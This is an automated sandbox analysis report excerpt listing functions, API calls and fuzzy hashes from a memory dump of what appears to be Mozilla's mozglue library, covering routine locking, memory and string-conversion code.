Instruction ID: 0e824aa5148984391dccca9ed810aa4ef9ff047636a9a65924a06e6e976161a0
Opcode Fuzzy Hash: f1d0761667dab8e615c6e3e28e507e115283cc1715e90907535089d38094bb9c
Instruction Fuzzy Hash: D411A131604658DFCB049F15DC48B5EBBF4FB89328F060619E9A597B50D770A805CFD9

Function 6C5C0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5C0CD5

Part of subcall function 6C5AF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5AF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5C0D40
free.MOZGLUE ref: 6C5C0DCB

Part of subcall function 6C595E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C595EDB
Part of subcall function 6C595E90: memset.VCRUNTIME140(ew]l,000000E5,?), ref: 6C595F27
Part of subcall function 6C595E90: LeaveCriticalSection.KERNEL32(?), ref: 6C595FB2

free.MOZGLUE ref: 6C5C0DDD
free.MOZGLUE ref: 6C5C0DF2

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 53a9614a97f0ab171e6d95ebc7878aec5a51c3d3c7262ad7fe0cd8aa2c170546
Instruction ID: 0755f4030be803aa28786fa0d2c171f2e2f5f4ebcd1a186dd52188c0ba9c1e07
Opcode Fuzzy Hash: 53a9614a97f0ab171e6d95ebc7878aec5a51c3d3c7262ad7fe0cd8aa2c170546
Instruction Fuzzy Hash: F241F7B1A087849BD720CF69C84079AFBE5BFD9714F518A2EE8E887750D7709845CB83

Function 6C5B0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FE7DC), ref: 6C5B0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B084C
EnterCriticalSection.KERNEL32(?), ref: 6C5B08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5B08BD
LeaveCriticalSection.KERNEL32(6C5FE7DC), ref: 6C5B08D5

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: bc807958ff21b9a69a28775e5b2ad3b404a726acc8100d9c9048fb32acd2dedb
Instruction ID: 916b99641546cd5fcdd8c967a46ea48c02074f9e7c5152833ad0ff3e81e6bc33
Opcode Fuzzy Hash: bc807958ff21b9a69a28775e5b2ad3b404a726acc8100d9c9048fb32acd2dedb
Instruction Fuzzy Hash: 9021FF70B0124D8BEB089F65AC54BAE7BB9AF84708F100529E519F7A00DB71E9058FC4

Function 6C5CCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5BDA31,00100000,?,?,00000000,?), ref: 6C5CCDA4

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

Part of subcall function 6C5CD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5CCDBA,00100000,?,00000000,?,6C5BDA31,00100000,?,?,00000000,?), ref: 6C5CD158
Part of subcall function 6C5CD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5CCDBA,00100000,?,00000000,?,6C5BDA31,00100000,?,?,00000000,?), ref: 6C5CD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5BDA31,00100000,?,?,00000000,?), ref: 6C5CCDC4

Part of subcall function 6C5C7480: ReleaseSRWLockExclusive.KERNEL32(?,6C5D15FC,?,?,?,?,6C5D15FC,?), ref: 6C5C74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5BDA31,00100000,?,?,00000000,?), ref: 6C5CCECC

Part of subcall function 6C58CA10: mozalloc_abort.MOZGLUE(?), ref: 6C58CAA2

Part of subcall function 6C5BCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5CCEEA,?,?,?,?,00000000,?,6C5BDA31,00100000,?,?,00000000), ref: 6C5BCB57
Part of subcall function 6C5BCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5BCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5CCEEA,?,?), ref: 6C5BCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5BDA31,00100000,?,?,00000000,?), ref: 6C5CD058

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 04551aabf9ca47b94ff473f96c486c4c698d09c404cedb477f4d32a3f6607f27
Instruction ID: 3bdca3e0232fada774a2b872d28fe2de8dbd68757b977a28e2b40e8f660d69de
Opcode Fuzzy Hash: 04551aabf9ca47b94ff473f96c486c4c698d09c404cedb477f4d32a3f6607f27
Instruction Fuzzy Hash: DFD15E71B04B46DFD708CF28C880B99B7E1BF89304F01866DD95997752EB31B9A5CB82

Function 6C581720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5817B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5818EE
free.MOZGLUE(?), ref: 6C581911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58194C

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: ce058d910dbc43e8874f3dd92d64d6f7900843641984e0cd3e640d8562b0fbea
Instruction ID: c0d9d59a1004b630b5a29017dd08af7c1ce7626583fa598bd08d3ffbcced4fc4
Opcode Fuzzy Hash: ce058d910dbc43e8874f3dd92d64d6f7900843641984e0cd3e640d8562b0fbea
Instruction Fuzzy Hash: 6C81AF70A122159FDB08CF68DC949AFBBB1FF89314F44456CE821AB754E730E844CBA2

Function 6C595C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C595D40
EnterCriticalSection.KERNEL32(6C5FF688), ref: 6C595D67
__aulldiv.LIBCMT ref: 6C595DB4
LeaveCriticalSection.KERNEL32(6C5FF688), ref: 6C595DED

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 597af1e09eff47f3ba4e29df69b7d146f090655b40341863964d1c020345f4c8
Instruction ID: 55932b11763de29026244a02e1306bdcd25a418f4884e1f26a0255ee66da66dc
Opcode Fuzzy Hash: 597af1e09eff47f3ba4e29df69b7d146f090655b40341863964d1c020345f4c8
Instruction Fuzzy Hash: B1516D71E002598FCF08CF68DC54AAEBBB2FB85304F6A8759D821A7B50DB706945CF94

Function 6C57CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C57CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C57CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C57CF4E

Strings

0, xrefs: 6C57CF30

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 14a12cbc8fe26865c029d2908866fdaa574b789e1a7b4d74f48ee7684ea3cffa
Instruction ID: 63ddae0b992dc14aa1c6901a3ed4f81984138e3d14afbe1f54bbeed0bf186732
Opcode Fuzzy Hash: 14a12cbc8fe26865c029d2908866fdaa574b789e1a7b4d74f48ee7684ea3cffa
Instruction Fuzzy Hash: 1751F075A0021ACFCB11CF18C890AAABBA5EF99300F198599DC595F352D731FD46CBE0

Function 6C5D77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C5D7829

Part of subcall function 6C5ACC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5731A7), ref: 6C5ACC45
Part of subcall function 6C5ACC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5731A7), ref: 6C5ACC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5D789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5D78CF

Part of subcall function 6C574DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C574E5A
Part of subcall function 6C574DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C574E97

Part of subcall function 6C574290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B3EBD,6C5B3EBD,00000000), ref: 6C5742A9

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: e2f2a63b9446639466d08ae21145680e01a02be84d703cb476003c693826707d
Instruction ID: 7d7bdc25e7a9c416d9fce5f70b2499b46bc3853ddd808607ea28eb0c288e38c6
Opcode Fuzzy Hash: e2f2a63b9446639466d08ae21145680e01a02be84d703cb476003c693826707d
Instruction Fuzzy Hash: 6141A171904746DBD300DF29D88056AFBF4FFCA254F604A1EE4A987640EB70E95ACBD2

Function 6C5B6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5B82BC,?,?), ref: 6C5B649B

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B64A9

Part of subcall function 6C5AFA80: GetCurrentThreadId.KERNEL32 ref: 6C5AFA8D
Part of subcall function 6C5AFA80: AcquireSRWLockExclusive.KERNEL32(6C5FF448), ref: 6C5AFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B653F
free.MOZGLUE(?), ref: 6C5B655A

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: d2ac04e14c81faf413af10615549ea2e03ef118047a06070c98eb5142d7466d0
Instruction ID: cd5b0f70f0290201d25fdf70d090781653d64e72bbcfa5d2044e87ec00203ebb
Opcode Fuzzy Hash: d2ac04e14c81faf413af10615549ea2e03ef118047a06070c98eb5142d7466d0
Instruction Fuzzy Hash: F4318FB5A043059FCB04DF14D980A9EBBE4FF88314F40442EE89A97741EB30E919CB92

Function 6C5AFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5CD019,?,?,?,?,?,00000000,?,6C5BDA31,00100000,?), ref: 6C5AFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5CD019,?,?,?,?,?,00000000,?,6C5BDA31,00100000,?,?), ref: 6C5AFFF5
free.MOZGLUE(?,?,?,?,?,6C5CD019,?,?,?,?,?,00000000,?,6C5BDA31,00100000,?), ref: 6C5B001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5CD019,?,?,?,?,?,00000000,?,6C5BDA31,00100000,?,?), ref: 6C5B002A

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6187f59c416979c61d77ecee9dbe168132921b722ab4bb83def5ccd4b2f6db10
Instruction ID: b0b0b7d7100b12f25a89530c0078e3fe923a53ef29e35f9cfa19fdbf442bb97c
Opcode Fuzzy Hash: 6187f59c416979c61d77ecee9dbe168132921b722ab4bb83def5ccd4b2f6db10
Instruction Fuzzy Hash: 4721DBB2A002159BD7189EB9DC9446FB7B6FBC93247250739D425D7780EB70AD0187D1

Function 6C58B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C58B4F5
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C58B502
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C58B542
free.MOZGLUE(?), ref: 6C58B578

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: a2073c2ae88aa0c4c2392112946ccfb325bbf718711565633d87cf84e1d81c00
Instruction ID: 3485a9ae05bed3d95bac6c08fa24f9d58b96b04d3b8d3b68d2bcd0d83439e231
Opcode Fuzzy Hash: a2073c2ae88aa0c4c2392112946ccfb325bbf718711565633d87cf84e1d81c00
Instruction Fuzzy Hash: 6311CD30A04B41C7D7119F29EC04766B3B4FF9A319F11970AE89993E02FBB1A5C5CB95

Function 6C5B3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C57F20E,?), ref: 6C5B3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C57F20E,00000000,?), ref: 6C5B3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5B3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5B3E0E

Part of subcall function 6C5ACC00: GetCurrentProcess.KERNEL32(?,?,6C5731A7), ref: 6C5ACC0D
Part of subcall function 6C5ACC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5731A7), ref: 6C5ACC16

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a5c430a1816507c4cb083319c92ddffa5b3a81c19f476c6a30823535b9495742
Instruction ID: 288c1d83e975f87580c1ce71c9d8dca9982a342ff15f486299eed94ecdc0b308
Opcode Fuzzy Hash: a5c430a1816507c4cb083319c92ddffa5b3a81c19f476c6a30823535b9495742
Instruction Fuzzy Hash: A2F012B1550208BBD704AB54EC81DAF376DDB86624F050021FD1957741D735BE158AFB

Function 6C5C2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5C205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5C201B,?,?,?,?,?,?,?,6C5C1F8F,?,?), ref: 6C5C2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5C208E
free.MOZGLUE(?,?,?,00000000,?,6C5C201B,?,?,?,?,?,?,?,6C5C1F8F,?,?), ref: 6C5C20A3

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 80b6f274d0642a58e933f7fcf066ca2c4993a3ed365e624124e66c541142580d
Instruction ID: cb2bd88681bc74ce1e88c3351126a01e82832961fe90bb830207542f44f87934
Opcode Fuzzy Hash: 80b6f274d0642a58e933f7fcf066ca2c4993a3ed365e624124e66c541142580d
Instruction Fuzzy Hash: 0CF0B475200600DBC7119F16DC8875BB7F8EF86324F11011EE50687B10CB72A805CB9A

Function 6C5C85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5C85D3

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5C8725

Strings

map/set<T> too long, xrefs: 6C5C8720

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 33da2679da2c6e7224e141682e0573190dcd93db40474a5724692a0528c84a83
Instruction ID: 5795ac330c1ffc17a17e80bfa99f50f618fd542a08e000d9b6d5e41593244679
Opcode Fuzzy Hash: 33da2679da2c6e7224e141682e0573190dcd93db40474a5724692a0528c84a83
Instruction Fuzzy Hash: 8C515274A00641CFD701CF68C984A5ABBF1BF9A318F19C28ED8595BB52C375E885CF92

Function 6C57BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C57BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57BE8F

Strings

0, xrefs: 6C57BE5B

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ea28278a53c2cafbce7443c7144857b8e20cd93626c063881d8a2b68a3e68148
Instruction ID: 46ab7cc84ce30c92397489b6b44b810bbc1d3e8c6387cd664eaeab84628e3024
Opcode Fuzzy Hash: ea28278a53c2cafbce7443c7144857b8e20cd93626c063881d8a2b68a3e68148
Instruction Fuzzy Hash: 8441A271909745CFC721DF39C881A9BB7F4AF8A348F004A1DF98597711E730D9898BA2

Function 6C5B3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5B3D6C

Strings

d, xrefs: 6C5B3D58

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 72c382b4a747a1fe4da128b681900b7099d3bd8e733dd6457e935791bb2c8358
Instruction ID: bcb2d9a6e3a1c4e7682e2e42661a3b1a32cbd5967ffaf1929522f5ffb49e3c81
Opcode Fuzzy Hash: 72c382b4a747a1fe4da128b681900b7099d3bd8e733dd6457e935791bb2c8358
Instruction Fuzzy Hash: 31110435E04688DBDF049F69CC244EEBB75EFCA258B458219DC44BB602FF30A984C790

Function 6C584730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5844B2,6C5FE21C,6C5FF7F8), ref: 6C58473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C58474A

Strings

GetNtLoaderAPI, xrefs: 6C584744

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
